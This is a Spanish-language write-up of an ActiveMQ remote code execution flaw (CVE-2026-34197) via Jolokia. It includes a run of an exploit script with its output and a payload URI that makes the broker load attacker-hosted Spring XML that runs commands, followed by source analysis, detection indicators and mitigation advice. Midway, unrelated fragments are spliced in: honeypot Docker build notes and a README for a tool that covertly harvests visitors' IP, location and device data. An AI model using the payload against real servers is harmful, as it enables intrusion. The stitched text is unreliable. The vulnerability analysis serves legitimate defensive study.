
Descripción
Validación de entrada incorrecta, control inadecuado de la generación de código (vulnerabilidad de ‘Inyección de código’) en Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic expone el puente Jolokia JMX-HTTP en /api/jolokia/ en la consola web. La política de acceso de Jolokia por defecto permite operaciones exec en todos los MBeans de ActiveMQ (org.apache.activemq:*), incluyendo BrokerService.addNetworkConnector(String) y BrokerService.addConnector(String). Un atacante autenticado puede invocar estas operaciones con una URI de descubrimiento manipulada que hace que el parámetro brokerConfig del transporte VM cargue un contexto de aplicación Spring XML remoto mediante ResourceXmlApplicationContext. Debido a que ResourceXmlApplicationContext de Spring instancia todos los beans singleton antes de que BrokerService valide la configuración, se produce ejecución de código arbitrario en la JVM del broker a través de métodos de fábrica de beans como Runtime.exec(). Este problema afecta a Apache ActiveMQ Broker: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3; Apache ActiveMQ All: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3; Apache ActiveMQ: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3. Se recomienda a los usuarios actualizar a la versión 5.19.4 o 6.2.3, que corrige el problema
Más información en: link
Github: link```bash ❯ docker compose up -d
Una vez iniciado, puede interactuar con la API completando el formulario de perfil y siguiendo las instrucciones en la ventana de línea de comandos. Cuando haya introducido los detalles del sistema que pretende explotar, pulse '''Run'''.```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
Con LHOST se hace referencia a la IP privada del equipo. Puedes usar ipconfig en Windows o ifconfig en Linux
Comprobando el RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE exitoso, el archivo `blahblah.txt` fue creado en el sistema objetivo.
# Fase de Análisis
## Análisis Dinámico```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Los registros en tiempo de ejecución también confirmaron que Jolokia estaba habilitado y expuesto a través de la consola web de ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verificar la conexión```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Esto significa:
Para leer registros```bash docker logs activemq-vuln > activemq-rce.log
Luego usa grep para la cadena limpia```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
Después de enviar el payload```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Esta línea es crítica porque confirma que la URI controlada por el atacante proporcionada a través de:```java
BrokerView.addNetworkConnector(String)
llegó a la capa de transporte de la VM sin saneamiento.
La URI maliciosa utilizada durante la explotación fue:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Esta URI contiene dos partes importantes:
| Component | Purpose |
| --------------- | ------------------------------------------------- |
| `static:(...)` | Wrapper utilizado por los conectores de descubrimiento de ActiveMQ |
| `vm://evil?...` | URI de transporte VM procesada internamente por ActiveMQ |
El wrapper `static:(...)` en sí mismo no es el componente vulnerable. Su propósito es pasar la URI de transporte contenida al subsistema de conectores de red de ActiveMQ.
Durante la ejecución en tiempo de ejecución, ActiveMQ extrajo y procesó la URI de transporte VM interna:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Este comportamiento se confirmó en los registros de ejecución:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
El parámetro `brokerConfig=` es la parte crítica del payload. Instruía a la capa de transporte de VM para que creara dinámicamente una instancia de broker utilizando una configuración externa de Spring xbean cargada desde:```text
http://192.168.1.32:9999/evil.xml
El prefijo xbean: hizo que ActiveMQ delegara el procesamiento al cargador de contexto de aplicación XML de Spring:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
Como resultado, el documento XML remoto fue analizado e instanciado como un contexto de aplicación Spring dentro del JVM del broker.
El XML malicioso contenía el siguiente bean de Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
Esta definición de bean le indicó a Spring que instanciara un objeto ProcessBuilder e invocara inmediatamente su método start() durante la inicialización del contexto de la aplicación.
El exploit utilizó el siguiente comando:```bash touch /tmp/blahblah.txt
Debido a que Spring instancia ansiosamente los beans singleton durante la inicialización del contexto, el método `ProcessBuilder.start()` se ejecutó antes de que ActiveMQ validara si la configuración del broker era segura o válida.
Esto resultó en la ejecución arbitraria de comandos en el contenedor objetivo.
El exploit se verificó comprobando el directorio `/tmp` dentro del contenedor de ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
Los metadatos del archivo confirmaron además la ejecución exitosa del comando:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35
Esto demuestra que comandos arbitrarios del sistema operativo se ejecutaron con éxito dentro del contexto del contenedor ActiveMQ.
El seguimiento de la pila en tiempo de ejecución también reveló la ruta completa de ejecución vulnerable:```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
Durante el análisis en tiempo de ejecución se observaron las siguientes entradas del seguimiento de pila:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
Una de las observaciones más importantes durante el análisis dinámico fue el orden en el que Spring y ActiveMQ procesaron la configuración maliciosa.
Después de que el payload se ejecutara correctamente, ActiveMQ generó posteriormente la siguiente advertencia:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
Este comportamiento demuestra que:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
Aunque la configuración del broker en sí fue finalmente rechazada, el bean Spring malicioso ya había sido instanciado y ejecutado.
Este problema de orden es la falla lógica central detrás de CVE-2026-34197.
El análisis dinámico identificó los siguientes componentes que participan en la cadena del exploit:
| Componente | Función |
| ----------------------------- | ---------------------------------- |
| Jolokia | Puente HTTP a JMX |
| BrokerView | MBean de gestión expuesto |
| VMTransportFactory | Analiza la URI de transporte `vm://` |
| BrokerFactory | Crea la instancia del broker |
| XBeanBrokerFactory | Carga la configuración Spring xbean |
| ResourceXmlApplicationContext | Carga XML remoto |
| XmlBeanDefinitionReader | Analiza definiciones de beans de Spring |
| Spring BeanFactory | Instancia beans singleton |
| ProcessBuilder | Ejecuta comandos del sistema operativo |
El análisis dinámico confirma que CVE-2026-34197 es causado por la interacción entre:
* Operaciones de gestión de Jolokia demasiado permisivas
* URIs de transporte controladas por el atacante
* Creación automática del broker de transporte VM
* Carga de configuración remota Spring xbean
* Instanciación anticipada de beans singleton antes de la validación
Como resultado, un atacante autenticado puede lograr la ejecución de código arbitrario en la JVM de ActiveMQ al proporcionar una URI maliciosa `brokerConfig=xbean:http://...` a través de la operación `addNetworkConnector()` expuesta por Jolokia.
### Resumen de la arquitectura
Apache ActiveMQ Classic expone una interfaz de gestión a través del puente JMX-HTTP de Jolokia disponible en:```text id="n0vmrq"
/api/jolokia/
Jolokia actúa como un puente HTTP-a-JMX, permitiendo a usuarios autenticados invocar operaciones de Java Management Extensions (JMX) de forma remota a través de HTTP.
La ruta de arquitectura vulnerable identificada durante el análisis se muestra a continuación:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution
| Component | Función |
| --------------------- | ------------------------------------------- |
| Jolokia | Expone operaciones JMX a través de HTTP |
| BrokerView | Interfaz MBean de gestión |
| VMTransportFactory | Procesa URIs de transporte `vm://` |
| BrokerFactory | Crea brokers dinámicamente |
| XBeanBrokerFactory | Carga configuraciones xbean de Spring |
| Spring Context Loader | Analiza e instancia definiciones de beans XML |
| ProcessBuilder | Ejecuta comandos del sistema operativo |
La arquitectura se vuelve vulnerable porque ActiveMQ permite a usuarios autenticados invocar métodos peligrosos de gestión del broker con URIs de transporte controladas por el atacante.
---
### Análisis de la Superficie de Ataque
La superficie de ataque principal es el endpoint HTTP de Jolokia expuesto a través de la consola web de ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/
El análisis en tiempo de ejecución confirmó que la interfaz Jolokia estaba habilitada por defecto:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
El endpoint de Jolokia aceptaba solicitudes autenticadas mediante autenticación básica HTTP:```json id="13tzmx"
"authMode":"basic"
La siguiente operación de gestión peligrosa fue expuesta:```java id="pxqv10" BrokerView.addNetworkConnector(String)
Este método acepta un URI de transporte controlado por el usuario sin restringir suficientemente los esquemas de URI peligrosos ni los parámetros de configuración.
El atacante proporcionó el siguiente payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Esta carga útil abusó de varias funciones simultáneamente:
Por lo tanto, la superficie de ataque incluye:
La vulnerabilidad es causada por la interacción entre múltiples subsistemas de confianza dentro de ActiveMQ.
El problema central es que a los usuarios autenticados de Jolokia se les permite invocar operaciones peligrosas de gestión del broker con URI de transporte controladas por el atacante.
El flujo de ejecución vulnerable identificado durante el análisis en tiempo de ejecución es:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation
El parámetro crítico es:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
Este parámetro indica a la capa de transporte VM que cree dinámicamente un broker utilizando una configuración externa de Spring xbean.
La siguiente evidencia en tiempo de ejecución confirmó este comportamiento:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Spring entonces cargó el XML remoto a través de:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
El XML malicioso contenía:```xml id="y6jphd"
Durante la inicialización del contexto de la aplicación Spring, los beans singleton se instancian de forma inmediata. Como resultado, el método `ProcessBuilder.start()` se ejecutó de inmediato.
El fallo lógico clave es que la instanciación de los beans de Spring ocurrió antes de que ActiveMQ validara si la configuración del broker en sí era segura o válida.
Este comportamiento se demostró dinámicamente porque:
1. La carga útil maliciosa creó con éxito `/tmp/blahblah.txt`
2. Posteriormente, ActiveMQ rechazó la configuración del broker con:```text id="6k1dwn"
The configuration has no BrokerService instance
Esto demuestra que la ejecución de código ocurrió antes de que se completara la validación del broker.
Los posibles indicadores de compromiso incluyen solicitudes Jolokia sospechosas dirigidas a operaciones de gestión de ActiveMQ.
Busque solicitudes que invoquen:```text id="c56p2k" addNetworkConnector addConnector
a través de:```text id="pt2n3d"
/api/jolokia/
Los siguientes fragmentos de URI son indicadores sólidos de intentos de explotación:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(
Ejemplo de payload malicioso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
El broker puede iniciar solicitudes salientes a infraestructura controlada por el atacante:```text id="f5g9kx" http://attacker/evil.xml
El tráfico HTTP saliente inesperado desde la JVM del broker debe ser investigado.
#### Registros de ejecución sospechosos
Los siguientes mensajes de ejecución son sospechosos:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
Si no desea ejecutar el instalador ISO siempre puede ejecutar T-Pot desde un host Docker. Puede construir las imágenes usted mismo o utilizar nuestras imágenes preconstruidas de Dockerhub. Incluso puede utilizar Docker Swarm para alojar una instalación distribuida de T-Pot.
La carpeta docker contiene un Dockerfile que es esencialmente un envoltorio ... (cosas aburridas) ... así que básicamente este es el Dockerfile:
# BUILD
FROM debian:bookworm-slim as builder
SHELL ["/bin/bash", "-c"]
...
Esto construirá una imagen T-Pot Standard.
docker build --build-arg TPOT_FLAVOR=standard -f docker/Dockerfile -t tpot:standard .
Después de que la construcción tenga éxito, puede proceder con la imagen Docker de T-Pot ahora disponible.
Por defecto, esto construirá una imagen standard. Si desea construir otra variante (sensor, industrial, collector, nextcloud, elk, honeytail, dep, ewsposter, p0f, honeysap, conpot, ipphoney) necesita editar tpot.yml.dist o hacer cp tpot/tpot.yml.dist tpot/tpot.yml y luego editar según corresponda.
Tenga en cuenta que algunas variantes (p. ej., sensor, industrial) son un conjunto de honeypots y servicios habilitados que requieren más RAM y espacio en disco. Puede elegir la cantidad de RAM que debe usar el contenedor. Se requieren al menos 8 GB de RAM y ~350 - 500 GB de espacio en disco para la mayoría de las variantes. Sin embargo, también puede comenzar de forma modesta con 4-6 GB de RAM y 50 GB de espacio en disco cuando utilice solo honeypot y honeytail.
⚠️ Si planea ejecutar T-Pot con Docker Engine en un host expuesto a Internet, tenga en cuenta que aún necesita ejecutar las reglas de iptables basadas en el host/red, el script blackhole / redhole y ajustar sus parámetros de red y kernel en consecuencia.```text id="3q2vls" ResourceXmlApplicationContext
Trabajando con una plantilla personalizada
Edita el archivo HTML y cambia el título de la página:
`{{TITLE}}`
Abre el archivo HTML en el navegador y mira la consola para ver los datos de ubicación:
### Características
- XSS-R
- Obtener la dirección IP
- Obtener los datos de ubicación
- Obtener los detalles del navegador y del sistema operativo
- Obtener el user agent
- Obtener los detalles del dispositivo
- Obtener la resolución de pantalla
| Característica | Estado |
| ------- | ------ |
| Obtener la dirección IP | ✅ |
| Obtener los datos de ubicación | ✅ |
| Obtener los detalles del navegador y del sistema operativo | ✅ |
| Obtener el user agent | ✅ |
| Obtener los detalles del dispositivo | ✅ |
| Obtener la resolución de pantalla | ✅ |
#### Trabajando con Seeker Drive
#### Instalador
1. Copia `seekerdrive.service` a `/lib/systemd/system/`
2. Cambia la ruta de `User` y `ExecStart` en `/lib/systemd/system/seekerdrive.service`
3. Habilita e inicia el servicio:
```bash
sudo systemctl enable seekerdrive.service
sudo systemctl start seekerdrive.service
Edita el archivo server.py y cambia el número de puerto:
Ctrl + C si estás en la terminal)#### Artefactos del sistema de archivos
Archivos inesperados en:```text id="6x7qcm"
/tmp/
o la ejecución sospechosa de procesos hijos desde el JVM de ActiveMQ puede indicar explotación.
La explotación exitosa permite la ejecución remota de código autenticada dentro del contexto del JVM de ActiveMQ.
En el entorno analizado, los comandos arbitrarios del sistema operativo se ejecutaron con éxito dentro del contenedor:```bash id="2hyz0w" touch /tmp/blahblah.txt
Resultado:```text id="rm2qfd"
/tmp/blahblah.txt
El archivo fue creado como:```text id="9phgkz" Uid: (0/root)
Esto indica que la ejecución de comandos se produjo con privilegios de root dentro del contenedor.
El impacto potencial incluye:
| Impacto | Descripción |
| --------------------- | ----------------------------------------- |
| Ejecución remota de código | Ejecución arbitraria de comandos |
| Compromiso del contenedor | Compromiso total del contenedor de ActiveMQ |
| Robo de credenciales | Acceso a credenciales y secretos del broker |
| Movimiento lateral | Pivoting a sistemas adyacentes |
| Persistencia | Creación de conectores de red maliciosos |
| Exposición de datos | Acceso a mensajes y colas del broker |
La gravedad aumenta significativamente si:
* Jolokia está expuesto externamente
* Las credenciales predeterminadas permanecen habilitadas
* Los contenedores se ejecutan como root
* Los hosts del broker tienen acceso saliente sin restricciones
---
### Mitigación
#### Actualizar a versiones corregidas
Actualice ActiveMQ Classic a:```text id="8w0j6k"
5.19.4 or later
6.2.3 or later
Deshabilite Jolokia si no es necesario.
Si Jolokia debe permanecer habilitado:
No use:```text id="9mw1xv" admin:admin
#### Restringir el acceso de red saliente
Evitar que el broker inicie conexiones HTTP salientes arbitrarias.
Esto mitiga los intentos de recuperación remota de XML.
#### Deshabilitar funciones peligrosas
Restringir o deshabilitar:
* Creación dinámica de brokers
* Uso del transporte `vm://`
* Carga externa de configuración `xbean:`
#### Endurecer el entorno de ejecución
* Ejecutar contenedores como usuarios no root
* Aplicar restricciones del sistema de archivos
* Usar segmentación de red
* Supervisar la ejecución de procesos hijo de la JVM
#### Recomendaciones de detección
Supervisar lo siguiente:
* Solicitudes a `/api/jolokia/`
* Uso de `addNetworkConnector`
* Parámetros `brokerConfig=`
* URI `xbean:`
* Solicitudes HTTP salientes desde la JVM del broker
* Procesos hijo inesperados generados por Java
## Análisis estático
### Resumen del código fuente
La ruta vulnerable atraviesa la capa de gestión web/JMX de ActiveMQ, la capa de red del broker, el transporte VM, el subsistema de fábrica del broker y la carga de configuración de Spring XBean.
Jolokia está habilitado en la aplicación de API web de ActiveMQ:```xml
<!-- assembly/src/release/webapps/api/WEB-INF/web.xml -->
<servlet>
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
...
</servlet>
<servlet-mapping>
<servlet-name>jolokia-agent</servlet-name>
<url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
Al iniciar el broker, ActiveMQ registra BrokerView como el MBean de gestión del broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
protected void startManagementContext() throws Exception {
getManagementContext().setBrokerName(brokerName);
getManagementContext().start();
adminView = new BrokerView(this, null);
ObjectName objectName = getBrokerObjectName();
AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName);
}
El nombre del objeto se crea como:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
throws MalformedObjectNameException {
String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
return new ObjectName(objectNameStr);
}
En la distribución predeterminada, esto expone el MBean del broker como un objetivo Jolokia invocable por HTTP, como por ejemplo:```text org.apache.activemq:type=Broker,brokerName=localhost
Las responsabilidades de los componentes relevantes son:
- `BrokerView`: fachada de gestión de broker orientada a JMX. Expone `addNetworkConnector(String)` y `addConnector(String)`.
- `BrokerService`: objeto runtime del broker. Convierte una dirección de conector de red en cadena en un `URI` y crea un `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: utiliza un agente de descubrimiento para obtener URIs de servicio de brokers remotos y luego se conecta a cada URI descubierto.
- `TransportFactory`: resuelve un esquema de URI a una fábrica de transporte usando `META-INF/services/org/apache/activemq/transport/<scheme>`.
- `VMTransportFactory`: maneja transportes `vm://` y puede auto-crear un broker embebido cuando el broker VM solicitado no existe.
- `BrokerFactory`: resuelve un esquema de URI de configuración de broker usando `META-INF/services/org/apache/activemq/broker/<scheme>`.
- `XBeanBrokerFactory`: maneja URIs de configuración de broker `xbean:` y crea un contexto de aplicación Spring/XBean.
- `ResourceXmlApplicationContext`: carga el recurso XML y realiza la actualización de la fábrica de beans de Spring, incluida la creación ansiosa de singletons.
La vulnerabilidad existe porque el método de gestión acepta un lenguaje de URI de ActiveMQ que no son datos pasivos. Cuando se evalúa el URI, puede crear brokers y cargar configuración XML de Spring.
---
### Punto de Entrada Vulnerable
El punto de entrada vulnerable es:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}
La interfaz MBean expone la operación como:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java @MBeanInfo("Adds a Network Connector to the broker.") String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
La entrada controlada por el atacante es el argumento `exec` de Jolokia que se pasa a `discoveryAddress`. En la versión vulnerable, `BrokerView.addNetworkConnector()` no realiza validación de esquema, ni validación de URI anidada, ni filtrado de parámetros específicos del transporte antes de pasar la cadena a `BrokerService`.
`BrokerService` convierte la cadena directamente en una `URI`:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
return addNetworkConnector(connector);
}
El objeto conector se configura entonces con la URI del broker local y se añade al broker:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception { connector.setBrokerService(this); connector.setLocalUri(getVmConnectorURI()); ... networkConnectors.add(connector); return connector; }
El control llega al subsistema de transporte cuando `BrokerView` inicia el conector:```java
connector.start();
Para la URI del exploit:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
`static:(...)` crea un conector de descubrimiento estático, y la URI interna `vm://...` se convierte en el servicio remoto descubierto.
---
### Análisis del Transporte VM
El transporte VM se resuelve mediante:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
El método vulnerable es:```java // activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java public Transport doCompositeConnect(URI location) throws Exception
El método analiza la URI `vm://`, extrae los parámetros de consulta y trata `brokerConfig` como una URI de creación de broker:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
La opción create tiene como valor predeterminado true:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
Si no existe ningún broker para el host de VM solicitado, `VMTransportFactory` crea uno:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
Este es el fallo del límite de privilegios a nivel de transporte. Una URI proporcionada a través del plano de gestión es evaluada por el transporte de la VM como una instrucción para crear un broker desde una URI de configuración arbitraria.
La validación restante de parámetros ocurre después de la creación del broker:```java if (!options.isEmpty()) { throw new IllegalArgumentException("Invalid connect parameters: " + options); } return transport;
Esa validación no puede impedir la ejecución de código a través de `brokerConfig`, porque `brokerConfig` ya ha sido eliminado de `options` y consumido antes de que esta comprobación se ejecute.
La ruta de descubrimiento upstream es:```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
